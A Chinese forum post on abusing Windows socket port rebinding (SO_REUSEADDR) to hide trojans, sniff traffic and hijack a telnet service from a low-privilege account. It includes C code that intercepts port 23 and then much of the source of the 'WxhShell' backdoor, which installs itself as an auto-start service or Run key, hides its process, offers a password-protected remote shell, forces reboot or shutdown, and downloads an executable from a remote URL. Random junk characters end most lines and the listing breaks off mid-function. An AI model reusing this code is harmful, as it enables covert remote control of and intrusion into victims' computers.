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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1Ko4O)L]&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }>EWF E`  
:cf#Tpq"  
  saddr.sin_family = AF_INET; r@}8TE*|P  
1IlOU|4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PuhvJHT  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M!D6i5k,   
=ym<yI<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :G#+ 5 }  
cvQAo|  
  这意味着什么?意味着可以进行如下的攻击: i{16&4 '  
UmArl)R/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nwMq~I*1  
_ds;:*N+qA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %E"v@  
{VXucGI|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2liJ^ `  
gm%cAme  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   <k0/O  
p I~;3T:!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -:kIIK   
J"Fp),  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7<Qmpcp =  
wFMw&=j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4*D"*kR;  
'F#dv[N  
  #include 5f MlOP_  
  #include Sfa=AV7K  
  #include 2[;~@n1P  
  #include    kv6nVlI)B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !{{gL=_@  
  int main() d WY{x47  
  { y=.bn!u}z  
  WORD wVersionRequested; ->X>h_k.Y  
  DWORD ret; HOF=qE*p  
  WSADATA wsaData; `23][V  
  BOOL val; z{FFTb^B  
  SOCKADDR_IN saddr; 9e c},~(  
  SOCKADDR_IN scaddr; P -nhG  
  int err; n I&p.i6  
  SOCKET s; (Q @'fb9z  
  SOCKET sc; r/HCWs|  
  int caddsize; 8 ]exsn Z  
  HANDLE mt; PEm2w#X%L  
  DWORD tid;   l^OflZC~  
  wVersionRequested = MAKEWORD( 2, 2 ); lG Bg8/[  
  err = WSAStartup( wVersionRequested, &wsaData ); 01n132k  
  if ( err != 0 ) { :enR8MS  
  printf("error!WSAStartup failed!\n"); .)_2AoT7[  
  return -1; 1^2Q`~,g  
  } 5OtdB'UITd  
  saddr.sin_family = AF_INET; # =tw ,S  
   xY#J((-iH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7s#8-i  
KYtCN+vsG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZJQFn  
  saddr.sin_port = htons(23); DU$#tg}{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~59lkr8  
  { k&%i+5X  
  printf("error!socket failed!\n"); }8#Ed;%K  
  return -1; VOZxLyj^9  
  } .=TXi<8Brw  
  val = TRUE; W. kcN,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~F@n `!c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t@9-LYbL  
  { rU&Y/  
  printf("error!setsockopt failed!\n"); pR93T+X  
  return -1; =g! Pw]  
  } n#b{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GRbbU#/=G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DE?k|Get2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RuIBOo\XL7  
uJ -$i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9N'fU),I  
  { T+&fUhSy  
  ret=GetLastError(); t_w\k_ T  
  printf("error!bind failed!\n"); -43>?m/a  
  return -1; B I)@n:p  
  } qvB{vU  
  listen(s,2); |cY,@X,X6  
  while(1) 8|=C/k  
  { (w)%2vZ^  
  caddsize = sizeof(scaddr); y zp#  
  //接受连接请求 r8:"\%"f>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !zF0 7.(E  
  if(sc!=INVALID_SOCKET) 5l1R")0`t_  
  { 7<!x:G?C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f^B'BioW(  
  if(mt==NULL) {qi #  
  { _7Y-gy#\a  
  printf("Thread Creat Failed!\n"); =3QhGFd  
  break; (b//YyqN  
  } FEu"b@v  
  } SfC* ZM}<  
  CloseHandle(mt); &d2L9kTk  
  } }bca-|N  
  closesocket(s); $Y_S`#c@i  
  WSACleanup(); QJ;dw8  
  return 0; 7 uL.=th'  
  }   SA}Dkt&,  
  DWORD WINAPI ClientThread(LPVOID lpParam) = NZgbl  
  { f0sLe 3  
  SOCKET ss = (SOCKET)lpParam; 03v+eT  
  SOCKET sc; j;@a~bks6z  
  unsigned char buf[4096]; heou\;GI"  
  SOCKADDR_IN saddr; +5*bU1}O  
  long num; fEXFnQ#  
  DWORD val; \ opM}qZ  
  DWORD ret; e[u}Vf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bKM*4M=k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C0N}B1-MU  
  saddr.sin_family = AF_INET; O[t?*m1/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;!S5P(  
  saddr.sin_port = htons(23); U'ctO%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2K};-}eW  
  { <hCO-r#  
  printf("error!socket failed!\n"); zY:3*DiM  
  return -1; f;BY%$  
  } [(x*!,=  
  val = 100; 4h|*r !  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g]: [^p  
  { hQ<7k'V  
  ret = GetLastError(); =bC'>qw}  
  return -1; /7#e  
  } T^|k`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AaA!U!B  
  { {24>&<p  
  ret = GetLastError(); }W}(k2r  
  return -1; l$\2|D  
  } v:4j 3J$z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ; >H1A  
  { CYy=f-  
  printf("error!socket connect failed!\n"); -_t4A *  
  closesocket(sc); 8bdO-LJ9  
  closesocket(ss); R&.&x'<  
  return -1; 0}NDi|o  
  } 4;Ucas6  
  while(1) E|c(#P{  
  { 1k4\zVgi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %_5#2a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B;(U ?gC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1Y$%| `  
  num = recv(ss,buf,4096,0); ,Kj>F2{  
  if(num>0) a)pc+w#  
  send(sc,buf,num,0); mbkt7. ,P  
  else if(num==0) a($7J6]M  
  break; (@XQ]S}L  
  num = recv(sc,buf,4096,0); Tph^o^  
  if(num>0) ,b!D8{W"N  
  send(ss,buf,num,0); V 9$T=[  
  else if(num==0) u:|^L]{  
  break; qH4|k 2Lm  
  } g&y (-  
  closesocket(ss); <A Hzs  
  closesocket(sc); R;Dj70g  
  return 0 ; v(yJGEf0  
  } "JSIn"/  
,M{G X  
g@!U^mr*3  
========================================================== <`pNdy4  
G$TO'Ciu:  
下边附上一个代码,,WXhSHELL p%mHxYP  
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==========================================================  ?{"r(  
VBi gUK4  
#include "stdafx.h" K9Mz4K_  
2YZ>nqy  
#include <stdio.h> |D-[M_T5  
#include <string.h> d~~, 5E  
#include <windows.h> )TiM>{  
#include <winsock2.h> T}^3Re`i  
#include <winsvc.h> SgxrU&::  
#include <urlmon.h> J1I,;WGf  
_"@:+f,  
#pragma comment (lib, "Ws2_32.lib") Up?RN%gq  
#pragma comment (lib, "urlmon.lib") <!>\ n\A  
tlp,HxlP  
#define MAX_USER   100 // 最大客户端连接数 ZN)EbTpc\a  
#define BUF_SOCK   200 // sock buffer G1jj:]1  
#define KEY_BUFF   255 // 输入 buffer e&ysj:W5 "  
*`"+J_   
#define REBOOT     0   // 重启 Z C01MDIY  
#define SHUTDOWN   1   // 关机 _?O'A"  
LJ <pE;`d  
#define DEF_PORT   5000 // 监听端口 gQ0,KYmI3_  
3,q?WH%_  
#define REG_LEN     16   // 注册表键长度 ``jNj1t{}  
#define SVC_LEN     80   // NT服务名长度 1!(lpp  
Cs>`f, o  
// 从dll定义API Sk 7R;A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -)(=~|,Pq/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~|S0E:*.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (CIcM3|9C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wrb[\ ?-  
y*^UGJC:  
// wxhshell配置信息 }#D=Rf?2\P  
struct WSCFG { Ph""[0n%o  
  int ws_port;         // 监听端口 V4jMx[   
  char ws_passstr[REG_LEN]; // 口令  cX C[O  
  int ws_autoins;       // 安装标记, 1=yes 0=no GgY8\>u  
  char ws_regname[REG_LEN]; // 注册表键名 #fa,}aj  
  char ws_svcname[REG_LEN]; // 服务名 v}u]tl$,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =>5Lp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BM?!?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kE<CuO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l,h`YIy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 34!.5^T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YRV h[Bqg`  
qI7KWUR  
}; j H2)8~P  
-(?/95 Y  
// default Wxhshell configuration @-[}pZ/  
struct WSCFG wscfg={DEF_PORT, 9#U]?^DJ@  
    "xuhuanlingzhe", F hUi{`  
    1, (K=0c 6M3=  
    "Wxhshell", VB*c1i  
    "Wxhshell",  4 Pc-A  
            "WxhShell Service", wJ2cAX;"  
    "Wrsky Windows CmdShell Service", nE8z1hBUq  
    "Please Input Your Password: ", "|Q.{(|kO1  
  1, E<+ G5j  
  "http://www.wrsky.com/wxhshell.exe", _Sd^/jGpU  
  "Wxhshell.exe" +'g O%^{l  
    }; BkB _?^Nv8  
f> Jj5he/  
// 消息定义模块 Rs"=o>Qu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 agG*x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8a 8a:d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xwZ1Q,'C  
char *msg_ws_ext="\n\rExit."; ~*1>)P8]#  
char *msg_ws_end="\n\rQuit."; iT==aJ=~/&  
char *msg_ws_boot="\n\rReboot..."; ")MHP~ ?  
char *msg_ws_poff="\n\rShutdown..."; kbb!2`F!%  
char *msg_ws_down="\n\rSave to "; gq+0t  
 >I4BysR  
char *msg_ws_err="\n\rErr!"; ho{%7\  
char *msg_ws_ok="\n\rOK!"; neM)(` gp  
G 0pq'7B  
char ExeFile[MAX_PATH]; :Y/aT[  
int nUser = 0; 3>VL>;75[  
HANDLE handles[MAX_USER]; GYQ:G=  
int OsIsNt; |MGT8C&^!  
#1$4<o#M  
SERVICE_STATUS       serviceStatus; M5:.\0_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Ed  
K Ha,6X  
// 函数声明 3LfF{ED@  
int Install(void); m]U  
int Uninstall(void); wp1O*)/q  
int DownloadFile(char *sURL, SOCKET wsh); qc,EazmU  
int Boot(int flag); xwsl$Rj  
void HideProc(void); agwbjkU/  
int GetOsVer(void); 7WmLC  
int Wxhshell(SOCKET wsl); H][TH2H1  
void TalkWithClient(void *cs); 5fk A?Ecqq  
int CmdShell(SOCKET sock); 3HtM<su*h  
int StartFromService(void); I-!7 EC2{!  
int StartWxhshell(LPSTR lpCmdLine); kIS )*_  
_ -RqkRI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gWU#NRRc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [VXQ&  
Ao ?b1VYy/  
// 数据结构和表定义 @ xo8"kl  
SERVICE_TABLE_ENTRY DispatchTable[] = |GQq:MB;z  
{ W gyRK2#!  
{wscfg.ws_svcname, NTServiceMain}, `?=3[  
{NULL, NULL} A nl1+  
}; ]*a(^*}A%  
0O'M^[=d.8  
// 自我安装 #0r^<Yn  
int Install(void) Y_n/rD>  
{ [7.Num_L  
  char svExeFile[MAX_PATH]; *bpN!2  
  HKEY key; y g(Na  
  strcpy(svExeFile,ExeFile); ?& :N|cltD  
6,LE_ -G5  
// 如果是win9x系统,修改注册表设为自启动 BDfMFH[1  
if(!OsIsNt) { xS@jV6E~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <fBJ@>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M/W9"N[ta  
  RegCloseKey(key); JQbaD-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2*`kkS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m $[:J  
  RegCloseKey(key); )( 3)^/Xz  
  return 0; ,Zie2I?q  
    } a+z>pV|  
  } 4IZAJqw(*  
} ^~l@ _r  
else { 7n .A QII  
rV"3oM]Lo  
// 如果是NT以上系统,安装为系统服务 %fld<O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bhRa?wuoY  
if (schSCManager!=0) )M7yj O!  
{ ,DHH5sDCn  
  SC_HANDLE schService = CreateService 6%t6u3  
  ( g,YF$:e  
  schSCManager, BPW.&2?<  
  wscfg.ws_svcname, @)Vb?|3  
  wscfg.ws_svcdisp, .&]3wB~  
  SERVICE_ALL_ACCESS, 2va[= >_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p?Ux1S  
  SERVICE_AUTO_START, ]{i0?c  
  SERVICE_ERROR_NORMAL, =zAFsRoD_B  
  svExeFile, ?8grK  
  NULL, ecl6>PS$'  
  NULL, M1P;x._n  
  NULL, cyd_xB5K  
  NULL, A#q.)8  
  NULL lu>G=uCJ  
  ); R+0fs$s u  
  if (schService!=0) h;E.y   
  { #('R`~  
  CloseServiceHandle(schService); 8yI4=P"F,  
  CloseServiceHandle(schSCManager); 6&E[hvu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5![ILa_  
  strcat(svExeFile,wscfg.ws_svcname); nY;Sk#9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5<GeAW8ns]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O '#FVZ.g  
  RegCloseKey(key); ,%/F,O+#  
  return 0; e 0$m<5  
    } B;Z _'.i,d  
  } 1HSt}  
  CloseServiceHandle(schSCManager); xK[ [b  
} :1t&>x=T  
} p{qA%D  
8M3DG=D  
return 1; yp]vDm  
} Z 5 .cfI[  
 nmL|v  
// 自我卸载 -*&aE~Cs  
int Uninstall(void) M4 ?>x[Pw  
{ nRq[il0 `i  
  HKEY key; Xq"9TYf$  
V=1yg24B<  
if(!OsIsNt) { Y -BZV |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KvPLA{  
  RegDeleteValue(key,wscfg.ws_regname); H^B,b !5i  
  RegCloseKey(key); xV`)?hEXFh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hms Aim9i  
  RegDeleteValue(key,wscfg.ws_regname); mOjjw_3gq  
  RegCloseKey(key); `K$;K8!1  
  return 0; &j'k9C2p  
  } kMzDmgoxNg  
} * kL>9  
} ):+^893)  
else { ='Oxy  
(Ww SisC~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e7Gb7c~  
if (schSCManager!=0) ga1b%5]v.  
{ ZS3T1 <z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o+^e+ptc  
  if (schService!=0) +N~{6*@uz,  
  {  ^LSD_R^N  
  if(DeleteService(schService)!=0) { \Ff]}4  
  CloseServiceHandle(schService); ]=|iO~WN  
  CloseServiceHandle(schSCManager); `N7erM  
  return 0; &8%^o9sH  
  } 1-4[w *u>  
  CloseServiceHandle(schService); _{B2z[G}  
  } v+C D{Tc  
  CloseServiceHandle(schSCManager); ~d3BVKP5  
} #N=_-  
} !"08TCc<  
guy!/zQ>A  
return 1; @[/!e`]+  
} %<q"&]e,  
)5<dmK@  
// 从指定url下载文件 V z5<Gr  
int DownloadFile(char *sURL, SOCKET wsh) Ex}TDmTu  
{ H 0Sm4  
  HRESULT hr; b?9'-hK<  
char seps[]= "/"; `Sj8IxO  
char *token; Frhm4H%,_R  
char *file; bx".<q(  
char myURL[MAX_PATH]; hg+;!|ha  
char myFILE[MAX_PATH]; FFN.9[Ly  
LXe'{W+bk  
strcpy(myURL,sURL); zb9vUxN [  
  token=strtok(myURL,seps); Gv(n2r  
  while(token!=NULL) <(qdxdUp  
  { #TP Y%  
    file=token; G0r(xP?  
  token=strtok(NULL,seps); ,5sv;  
  } {5fq4A A6  
noT}NX%  
GetCurrentDirectory(MAX_PATH,myFILE); `lO/I+8  
strcat(myFILE, "\\"); Y k"yup@3  
strcat(myFILE, file); +@rc(eOwvN  
  send(wsh,myFILE,strlen(myFILE),0); V/"41  
send(wsh,"...",3,0); !\&4,l(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H/G;hk  
  if(hr==S_OK) 3bugVJ9 3  
return 0; )4+uM'2%  
else ."q8 YaW  
return 1; @ 6b;sv1W  
SYOU &*  
} Hc q@7g  
HOPsp  
// 系统电源模块 =4x-x nA  
int Boot(int flag) LGCeYXic  
{ %ZlnGr  
  HANDLE hToken; ~1{~iB2G  
  TOKEN_PRIVILEGES tkp;  ~#z b  
0`WZ  
  if(OsIsNt) { Y7yzM1?t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rk{2ZUeg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #|e5i9l*B  
    tkp.PrivilegeCount = 1; 'Cywn^Ym#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qkyYt#4E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u-dF ~.x  
if(flag==REBOOT) { E~Y%x/oX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {O[ !*+O  
  return 0; 1`n ZK$  
} VqB9^qJ]!  
else { &cx]7:;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w?c~be$  
  return 0; 5YiBw|Z7 "  
} N<lf,zGw  
  } "\1V^2kMr  
  else { yj`xOncE}  
if(flag==REBOOT) { C_hIPMU=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]JHY(H2|  
  return 0; "  6  
} xm<sH!,j  
else { [WunA,IuR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'nqVcNgb  
  return 0; "}UYsXg  
} pvd9wKz  
} 7m 9T'  
ngaQa-8w  
return 1; ),I7+rY  
} AzBpQb*  
c6pGy%T-  
// win9x进程隐藏模块 S4X['0rX!  
void HideProc(void) n!XSB7d~X  
{ $U5$*R@jo[  
t+SLU6j,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j(=zc6m  
  if ( hKernel != NULL ) TsZX'Yn  
  { 2HvzMo-4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OBp/:]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]G2%VKkr  
    FreeLibrary(hKernel); C}mWX7<Z.  
  } %^8>=  
6I\mhw!pQ  
return; |=}v^o ZC  
} <b;Oap3  
kPZ1OSX  
// 获取操作系统版本 !' @  
int GetOsVer(void) ,k3aeM~`%w  
{ CU(W0D  
  OSVERSIONINFO winfo; s((_^yf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?GGh )";y  
  GetVersionEx(&winfo); H~"XlP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ku=XPmZ.\  
  return 1; Z})n%l8J]p  
  else ,TxZ:f`"  
  return 0; uv dx>5]  
} A&fh0E (t  
Th//uI+  
// 客户端句柄模块 UwxrYouv~@  
int Wxhshell(SOCKET wsl) 6Bm2_B  
{ ,o j\=2  
  SOCKET wsh; u~d&<_Z  
  struct sockaddr_in client; DK;/eZe  
  DWORD myID; 0CO6-&F9n  
TS<uBX  
  while(nUser<MAX_USER) <ByDT$E_  
{ IN9o$CZ:  
  int nSize=sizeof(client); MRHkQE+K@8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P1l@K2r  
  if(wsh==INVALID_SOCKET) return 1; #[#dc]D  
w]0jq U6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gBG.3\[  
if(handles[nUser]==0) S\UM0G}v  
  closesocket(wsh); +nslS:(  
else I2=Kq{  
  nUser++; R OQIw  
  } =<[ZFO~v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &^YY>]1Py  
,/>~J]:\;  
  return 0; b511qc"i>M  
} 57b;{kl  
VI`x fmVOQ  
// 关闭 socket way-Q7  
void CloseIt(SOCKET wsh) X_eV<]zA+  
{ 5OUe |mS  
closesocket(wsh); {\e wf_pFk  
nUser--; g)iSC?H  
ExitThread(0); Lsozl<@  
} DEC,oX!bI1  
VU*{E  
// 客户端请求句柄 SVo`p;2r  
void TalkWithClient(void *cs) , 0rC_)&B  
{ :+,qvu!M7  
%tzz3Y  
  SOCKET wsh=(SOCKET)cs; m,TqyP#  
  char pwd[SVC_LEN]; t(MlZ>H  
  char cmd[KEY_BUFF]; 0,;FiOp  
char chr[1]; 6A/|XwfE/v  
int i,j; /(nA)V( :  
QrPWS-3~!  
  while (nUser < MAX_USER) { q9pcEm4?  
!J' xk  
if(wscfg.ws_passstr) { /bylA`IMW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `"CF/X^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S[" &8Fy  
  //ZeroMemory(pwd,KEY_BUFF); i9)y|  
      i=0; <s#}`R.#2  
  while(i<SVC_LEN) { ;@ d<*  
ZdH WSfO)O  
  // 设置超时 %]Nz54!  
  fd_set FdRead; rd 1&?X  
  struct timeval TimeOut; o#wF/ I  
  FD_ZERO(&FdRead); I$wP`gQh  
  FD_SET(wsh,&FdRead); _bks*.9}3b  
  TimeOut.tv_sec=8; TniZ!ud  
  TimeOut.tv_usec=0; Rb~Kyy$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I|O~F e.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N]yk<55  
R/O_*XY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 73.o{V  
  pwd=chr[0]; 6v1#i  
  if(chr[0]==0xd || chr[0]==0xa) { g%=\Wiit]  
  pwd=0; j4}aK2[<  
  break; t7A.b~#  
  } I"JT3[*s  
  i++; +-~;?wA  
    } 28BiuxVW  
>k\*NW  
  // 如果是非法用户,关闭 socket f3l >26  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XLbrE|0A?  
} bt&vik _  
Y!*,G]7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xG}eiUbM`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +ic~Sar  
*} w.xt  
while(1) { SKfv.9  
iKS9Xss8  
  ZeroMemory(cmd,KEY_BUFF); T)Nis~  
>v<}$v6D~  
      // 自动支持客户端 telnet标准   ,.}PZL  
  j=0; d$2{_6  
  while(j<KEY_BUFF) { "| Q&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;LrKXp  
  cmd[j]=chr[0]; &GD7ldck  
  if(chr[0]==0xa || chr[0]==0xd) { oG*lU h}  
  cmd[j]=0; w6 "LHy[  
  break; W'0wTZG  
  } oC[wYUDg  
  j++; Yu1xJgl  
    } :6M0`V;L  
{G{@bUG]p  
  // 下载文件 @i)tQd!s  
  if(strstr(cmd,"http://")) { P|(J]/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }5]s+m  
  if(DownloadFile(cmd,wsh)) .D>lv_kp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'FUPv61()  
  else =k/n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M K[spV  
  } =0]Mc$Ih  
  else { [ $"iO#oO  
F9+d7 Y$  
    switch(cmd[0]) {  vo(?[[  
  X)&Z{ V>  
  // 帮助 wRiP5U,  
  case '?': { .$OInh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u('OHPqq  
    break; 0'~b<>G%  
  } XWUT b\@  
  // 安装 Jb$z(?S  
  case 'i': { P`%ppkzV6  
    if(Install()) =4%C?(\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yED^/=\)}  
    else AeJM[fCMa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f%}+.e D  
    break; jN<]yhqf  
    } q}1$OsM  
  // 卸载 6aK--k  
  case 'r': { P< &/$x6  
    if(Uninstall()) %8{_;-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OLR1/t`V  
    else !S-hv1bE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }-Ma ~/  
    break; SmLYxH3F  
    } y-X'eCUz  
  // 显示 wxhshell 所在路径 uHIWbF<0oo  
  case 'p': { s+w<!`-  
    char svExeFile[MAX_PATH]; 1*jL2P]D  
    strcpy(svExeFile,"\n\r"); :hr@>Y~r  
      strcat(svExeFile,ExeFile); k2WO*xa*  
        send(wsh,svExeFile,strlen(svExeFile),0); ~R8yj(  
    break; z0UO<Y?9  
    } vp|=q;Q%r  
  // 重启 c]n03o  
  case 'b': { (hV"z;rI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %i "  
    if(Boot(REBOOT)) : [9'nR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ["IJ h  
    else { '_<`dzz  
    closesocket(wsh); 3"hR:'ts  
    ExitThread(0); .#eXNyCe  
    } hpyre B  
    break; S p )}  
    } "$'~=' [  
  // 关机 Jqj6L993e  
  case 'd': { &;skB.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^0 lPv!2  
    if(Boot(SHUTDOWN)) Q(IS=  
